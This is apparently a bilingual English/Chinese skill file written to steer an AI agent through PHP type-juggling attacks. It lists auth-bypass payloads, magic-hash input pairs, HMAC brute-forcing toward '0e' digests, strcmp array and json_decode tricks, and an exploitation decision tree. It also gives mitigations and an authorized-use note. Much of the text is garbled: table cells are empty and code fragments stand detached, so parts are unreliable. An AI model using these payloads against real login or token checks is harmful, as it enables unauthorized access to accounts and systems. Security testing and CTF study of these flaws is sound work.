type-juggling
Compare original and translation side by side
🇺🇸
Original
English🇨🇳
Translation
ChineseSKILL: PHP Type Juggling — Weak Comparison & Magic Hash Bypass
技能:PHP类型混淆 —— 弱比较与魔法哈希绕过
AI LOAD INSTRUCTION: PHPcoercion, magic hashes (==), HMAC/hash loose checks, NULL from bad types, and CTF-style0e…/strcmp/json_decodetricks. Use strict routing: map the sink (intvalvs==), PHP major version, and whether both operands are attacker-controlled. 中文路由:遇到 PHP 登录/签名/hash_equals类题目或代码,优先读本 skill;若已用md5($_GET['x'])==md5($_GET['y'])/hash_equals则本路径通常不成立。===
AI加载说明:PHP强制转换、魔法哈希(==)、HMAC/哈希松散校验、错误类型导致的NULL值,以及CTF场景下的0e…/strcmp/json_decode利用技巧。使用严格路由规则:定位风险点(intval对比==)、PHP主版本号、以及是否两个操作数都可控。中文路由:遇到 PHP 登录/签名/hash_equals类题目或代码,优先读本 skill;若已用md5($_GET['x'])==md5($_GET['y'])/hash_equals则本路径通常不成立。===
0. QUICK START
0. 快速开始
First-pass goal: prove the server branch treats unequal secrets/tokens as equal via coercion, not guess the real password.
首要目标:证明服务端逻辑通过类型强制转换将不相等的密钥/令牌判定为相等,而非猜测真实密码。
First-pass payloads (auth / token shape)
首测Payload(身份认证/令牌场景)
text
password[]=x
password=
0
0e12345
240610708
QNKCDZO
true
[]
{"password":true}
admin%00text
password[]=x
password=
0
0e12345
240610708
QNKCDZO
true
[]
{"password":true}
admin%00Minimal PHP probes (local or php -r
in lab)
php -r最小PHP探测脚本(本地运行或实验室环境下用php -r
执行)
php -rphp
<?php
// Loose compare probes — run in target PHP major version if possible
var_dump('0e123' == '0e999');
var_dump('123a' == 123);
var_dump(md5('240610708') == md5('QNKCDZO'));php
<?php
// 松散比较探测脚本 —— 尽可能在目标PHP主版本下运行
var_dump('0e123' == '0e999');
var_dump('123a' == 123);
var_dump(md5('240610708') == md5('QNKCDZO'));Routing hints
路由提示
| 线索 | 下一步 |
|---|---|
源码里出现 | 走 Section 1–3 |
| Section 2 魔法哈希 |
| Section 3 |
| Section 5 |
| 线索 | 下一步 |
|---|---|
源码里出现 | 跳转第1-3节 |
| 第2节 魔法哈希 |
| 第3节 |
| 第5节 |
1. LOOSE COMPARISON (==
) — TRUTH TABLE & VERSIONS
==1. 松散比较(==
) —— 真值表与版本差异
==PHP compares operands with type juggling unless you use or for secrets.
===hash_equals()除非使用或针对敏感值使用,否则PHP会通过类型转换比较操作数。
===hash_equals()1.1 Core examples (strings vs numbers)
1.1 核心示例(字符串与数字比较)
| Expression | Result | Mechanism (short) |
|---|---|---|
| true | Both strings look numeric → compared as floats; both parse to 1000.0 (not zero — common exam trap; see next row for real “both zero”) |
| true | Both parse as 0.0 in scientific notation |
| true | String cast to int stops at first non-digit → |
| true (PHP 7.x and earlier) | Non-numeric string compared to int → string becomes |
| true | Empty string → |
| true | both “falsy” in loose rules |
| true | loose equality |
| true | loose equality |
| true (chain) | Each adjacent pair is true under |
| true | String |
| false (PHP 8+) | PHP 8: non-numeric string no longer equals |
| 表达式 | 结果 | 机制(简述) |
|---|---|---|
| true | 两个字符串都符合数值格式 → 作为浮点数比较,两者解析后均为1000.0(非零,常见考题陷阱,下一行是真正的“双零”场景) |
| true | 两者均被解析为科学计数法的0.0 |
| true | 字符串转整数时在第一个非数字字符处截断 → 结果为 |
| true(PHP 7.x及更早版本) | 非数值字符串与整数比较时,字符串会转为 |
| true | 空字符串转为 |
| true | 松散规则下两者均为“假值” |
| true | 松散相等规则 |
| true | 松散相等规则 |
| true(链式) | 相邻两两在 |
| true | 字符串 |
| false(PHP 8+) | PHP 8中,非数值字符串不再与 |
1.2 PHP 5 vs 7 vs 8 (high-signal deltas)
1.2 PHP 5/7/8版本差异(高影响变更)
| Topic | PHP 5.x / 7.x (typical) | PHP 8.0+ |
|---|---|---|
| true (string → 0) | false |
String-to-number for | Still truncates for | Same idea for numeric strings; non-numeric vs int fixed as above |
| May warn / | TypeError for wrong types — kills classic |
Tester takeaway: always note PHP version from headers, , or fingerprint; a payload that works on PHP 7 may fail on PHP 8.
X-Powered-By| 场景 | PHP 5.x / 7.x(典型表现) | PHP 8.0+ |
|---|---|---|
| true(字符串转为0) | false |
| 多数 | 数值字符串逻辑不变,非数值字符串与整数比较的问题已如上修复 |
| 旧版本中可能抛出警告/表现出类似 | 类型错误(TypeError),除非错误处理将结果转为NULL,否则经典 |
测试人员注意事项:始终通过响应头、或指纹识别确认PHP版本,PHP 7下生效的Payload可能在PHP 8中失效。
X-Powered-By1.3 Safe alternative (defense / verification)
1.3 安全替代方案(防御/验证用)
php
hash_equals((string)$expected, (string)$actual); // timing-safe, strict string
// or
$expected === $actual;php
hash_equals((string)$expected, (string)$actual); // 抗时序攻击,严格字符串比较
// 或
$expected === $actual;2. MAGIC HASHES (0e…
+ digits only)
0e…2. 魔法哈希(0e…
开头+纯数字后缀)
0e…When both sides are hex-looking hash strings that match , PHP treats them as floats in scientific notation → value 0.0. Then is true even though digests differ as strings.
^0e[0-9]+$md5(A) == md5(B)当比较双方都是符合格式的十六进制哈希字符串时,PHP会将其视为科学计数法表示的浮点数 → 值为0.0。此时即使两个摘要的字符串内容不同,也会返回true。
^0e[0-9]+$md5(A) == md5(B)2.1 Reference table (MD5 / SHA-1 and longer algos)
2.1 参考表(MD5/SHA-1及更长算法)
| Algorithm | Example input | Digest (starts with |
|---|---|---|
| MD5 | | |
| MD5 | | |
| SHA-1 | | |
| SHA-224 | (brute-force / precomputed) | Example form: |
| SHA-256 | (brute-force / precomputed) | Same pattern: only strings matching |
Why it works: → both sides match → both interpreted as 0.0 == 0.0 → true.
md5('240610708') == md5('QNKCDZO')^0e[0-9]+$| 算法 | 示例输入 | 摘要(以 |
|---|---|---|
| MD5 | | |
| MD5 | | |
| SHA-1 | | |
| SHA-224 | (需暴力破解/预计算) | 示例格式: |
| SHA-256 | (需暴力破解/预计算) | 相同规则:仅匹配 |
原理: → 两边都匹配 → 均被解析为0.0 == 0.0 → 返回true。
md5('240610708') == md5('QNKCDZO')^0e[0-9]+$2.2 Exploit pattern in code
2.2 代码中的利用场景
php
if (md5($_GET['a']) == md5($_GET['b']) && $_GET['a'] != $_GET['b']) {
// intended: different strings, same md5 (impossible for md5)
// actual: two different strings whose *digests* are magic hashes
}php
if (md5($_GET['a']) == md5($_GET['b']) && $_GET['a'] != $_GET['b']) {
// 预期逻辑:不同字符串拥有相同md5(对md5来说不可能)
// 实际逻辑:两个不同字符串的摘要都是魔法哈希
}2.3 Payload sketch (pair hunting)
2.3 Payload示例(配对使用)
text
?a=240610708&b=QNKCDZOFor SHA-224/256, treat as search problem: brute-force inputs until digest matches ; pair two distinct inputs. Longer hashes = harder; MD5/SHA1 examples above are the usual teaching set.
^0e\d+$text
?a=240610708&b=QNKCDZO对于SHA-224/256,可视为搜索问题:暴力破解输入直到摘要匹配,配对两个不同的输入即可。哈希越长破解难度越高,上述MD5/SHA1示例是常用的教学样例。
^0e\d+$3. HMAC BYPASS (LOOSE COMPARE VS "0"
OR 0
)
"0"03. HMAC绕过(与"0"
或0
的松散比较)
"0"0If logic uses loose inequality against a constant:
php
if (hash_hmac('md5', $data, $key) != '0') { /* ok */ }
// or == 0, == false with string "0e...", etc.Brute-force (e.g. timestamp, nonce, counter) until output matches (for MD5 output) or the code’s specific loose rule — then the hash may compare equal to or to another magic digest under .
$datahash_hmac^0e[0-9]+$0==如果逻辑使用松散不等与常量比较:
php
if (hash_hmac('md5', $data, $key) != '0') { /* 校验通过 */ }
// 或与0、false比较,与字符串"0e..."比较等场景暴力破解**(如时间戳、随机数、计数器)直到输出匹配**(MD5输出场景)或符合代码的特定松散规则,此时哈希在规则下可能与或其他魔法摘要相等。
$datahash_hmac^0e[0-9]+$==0Example (MD5-style 0e
digest for a numeric message)
0e示例(数值消息的MD5风格0e
摘要)
0e| Concept | Example |
|---|---|
| Message type | Unix timestamp, incrementing id, millisecond clock |
| Timestamp brute-force pattern | Tutorials sometimes cite |
| Goal | Find |
| Note | Without knowing |
text
undefined| 概念 | 示例 |
|---|---|
| 消息类型 | Unix时间戳、自增ID、毫秒级时间戳 |
| 时间戳暴力破解模式 | 教程中常提到 |
| 目标 | 找到 |
| 注意 | 如果存在预言机可查看算法/输出,即使不知道 |
text
undefinedConceptual: try many timestamps
思路示例:遍历大量时间戳
for t in range(T0, T1):
if re.fullmatch(r'0e\d+', hmac_md5(str(t), key)):
use t
**Mitigation**: `hash_equals($mac, $expected)` + fixed-length hex/binary encoding; never compare HMAC to bare `"0"`.
---for t in range(T0, T1):
if re.fullmatch(r'0e\d+', hmac_md5(str(t), key)):
use t
**修复方案**:使用`hash_equals($mac, $expected)` + 固定长度的十六进制/二进制编码,永远不要将HMAC与裸`"0"`比较。
---4. NULL JUGGLING (ARRAYS & TYPE ERRORS)
4. NULL类型转换(数组与类型错误)
Invalid types can yield on the compared side; loose equality to another or coerced value may pass.
NULLNULL| Call | Typical PHP 7/8 behavior |
|---|---|
| PHP 8: TypeError; older: warnings / not reliable across versions |
| Same |
| Idea | If error handler or custom wrapper converts failures to |
php
// CTF / broken code mental model:
@sha1($_GET['x']) == @sha1($_GET['y']); // if both error to NULL → trueReal audits: look for , custom that sets hash to , or user input passed where a string is required.
@try/catchnull无效类型可能导致比较侧返回****,与另一个或强制转换后的值松散比较时可能通过校验。
NULLNULL| 调用 | PHP 7/8典型表现 |
|---|---|
| PHP 8:TypeError;旧版本:警告/跨版本表现不可靠 |
| 同上 |
| 利用思路 | 如果错误处理器或自定义封装将失败转为** |
php
// CTF/存在缺陷代码的常见模型:
@sha1($_GET['x']) == @sha1($_GET['y']); // 如果两者都报错返回NULL → 比较结果为真真实审计场景:查找****错误抑制符、将哈希设为的自定义,或要求字符串的位置传入了用户输入。
@nulltry/catch5. CTF PATTERNS
5. CTF常见利用模式
5.1 strcmp
/ strcasecmp
with arrays
strcmpstrcasecmp5.1 数组参数绕过strcmp
/ strcasecmp
strcmpstrcasecmpphp
strcmp([], "password"); // NULL in PHP 7/8 (invalid args)
// NULL == 0 → true in loose compare if code does:
if (strcmp($_GET['p'], $secret) == 0)Payload:
text
?p[]=1php
strcmp([], "password"); // PHP 7/8中返回NULL(参数无效)
// NULL == 0 → 如果代码如下松散比较则返回真:
if (strcmp($_GET['p'], $secret) == 0)Payload:
text
?p[]=15.2 intval
bypass
intval5.2 intval
绕过
intvalphp
// Hex: base 0 lets PHP interpret 0x prefix (version-dependent; always verify)
intval("0x1A", 0); // → 26
// Octal: leading 0 can be parsed as octal with base 0
intval("010", 0); // → 8 (classic teaching example; confirm on target PHP)
// Scientific notation: intval() alone stops at 'e'; cast via float first
intval((float) "1e2"); // → 100text
?id=0x1A
?id=010
?id=1e2php
// 十六进制:base为0时PHP会解析0x前缀(版本相关,始终需验证)
intval("0x1A", 0); // → 26
// 八进制:base为0时前导0会被解析为八进制
intval("010", 0); // → 8(经典教学示例,需在目标PHP版本验证)
// 科学计数法:单独调用intval()会在'e'处截断,先转float即可
intval((float) "1e2"); // → 100text
?id=0x1A
?id=010
?id=1e25.3 json_decode
+ true
for associative array auth
json_decodetrue5.3 json_decode
+ 关联数组验证绕过
json_decodejson
{"password": true}php
$j = json_decode($input, true);
if ($j['password'] == $stored_string) // true == "nonempty" often true — see PHP loose rulesjson
{"password": true}php
$j = json_decode($input, true);
if ($j['password'] == $stored_string) // true == "非空字符串"通常返回真 —— 参考PHP松散规则5.4 is_numeric
+ loose compare
is_numeric5.4 is_numeric
+ 松散比较
is_numericphp
is_numeric("0e12345"); // true
"0e12345" == 0; // true (scientific notation → 0.0)php
is_numeric("0e12345"); // true
"0e12345" == 0; // true(科学计数法转为0.0)5.5 Deserialization + magic properties
5.5 反序列化 + 魔法属性
Unserialize user input into objects whose or properties feed into or loose compare — combine with magic hash strings on properties (CTF). Look for near on hashes.
__toStringmd5($obj)unserialize($_…)==将用户输入反序列化为对象,其方法或属性被传入或松散比较场景 —— 可结合属性设置为魔法哈希字符串利用(CTF场景)。查找哈希比较附近的调用。
__toStringmd5($obj)==unserialize($_…)6. DECISION TREE
6. 决策树
text
+------------------+
| PHP loose compare|
| or hash == hash? |
+--------+---------+
|
+-------------+-------------+
| |
+------v------+ +------v------+
| Uses === or | | Uses == or |
| hash_equals | | strcmp == 0 |
+------+------+ +------+-------+
| |
STOP (likely) +-----v-----+
| Operand |
| types? |
+-----+-----+
+--------------+---+--------------+
| | |
+------v------+ +-----v-----+ +-------v--------+
| Both numeric| | One int & | | Hash digests |
| strings 0e… | | one string| | both 0e\d+ ? |
+------+------+ +-----+-----+ +-------+--------+
| | |
MAGIC HASH STRING/INT MAGIC HASH
COLLISION JUGGLING (md5/sha1/…)
| | |
+------+-------+------------------+
|
+------v------+
| HMAC / MAC |
| vs "0" |
+------+------+
|
brute $data
for 0e… digest
|
+------v------+
| Arrays / |
| json true / |
| strcmp([]) |
+-------------+text
+------------------+
| PHP松散比较|
| 或哈希等值比较? |
+--------+---------+
|
+-------------+-------------+
| |
+------v------+ +------v------+
| 使用===或 | | 使用==或 |
| hash_equals | | strcmp == 0 |
+------+------+ +------+-------+
| |
停止(大概率无法利用) +-----v-----+
| 操作数 |
| 类型? |
+-----+-----+
+--------------+---+--------------+
| | |
+------v------+ +-----v-----+ +-------v--------+
| 均为数值型| | 一个int & | | 哈希摘要 |
| 字符串为0e… | | 一个字符串| | 均为0e\d+ ? |
+------+------+ +-----+-----+ +-------+--------+
| | |
魔法哈希 字符串/整数 魔法哈希
碰撞 类型转换 (md5/sha1/…)
| | |
+------+-------+------------------+
|
+------v------+
| HMAC / MAC |
| 与"0"比较 |
+------+------+
|
暴力破解$data
查找0e…开头的摘要
|
+------v------+
| 数组 / |
| json true / |
| strcmp([]) |
+-------------+Tool references
工具参考
| Tool | Use |
|---|---|
Local | Reproduce |
| Static code review | Grep |
| CTF frameworks | Payload generators for magic hashes and |
Safety & scope: Use only on authorized targets (CTF, lab, written permission). This skill explains language semantics for defense and assessment — not a license to attack systems without consent.
| 工具 | 用途 |
|---|---|
本地 | 复现目标PHP主版本的 |
| 静态代码审计 | 检索加密输出比较处的 |
| CTF框架 | 魔法哈希和 |
安全与适用范围:仅可在经授权的目标上使用(CTF、实验环境、书面许可)。本技能仅用于讲解语言语义以便开展防护和安全评估,不代表允许未经同意攻击任何系统。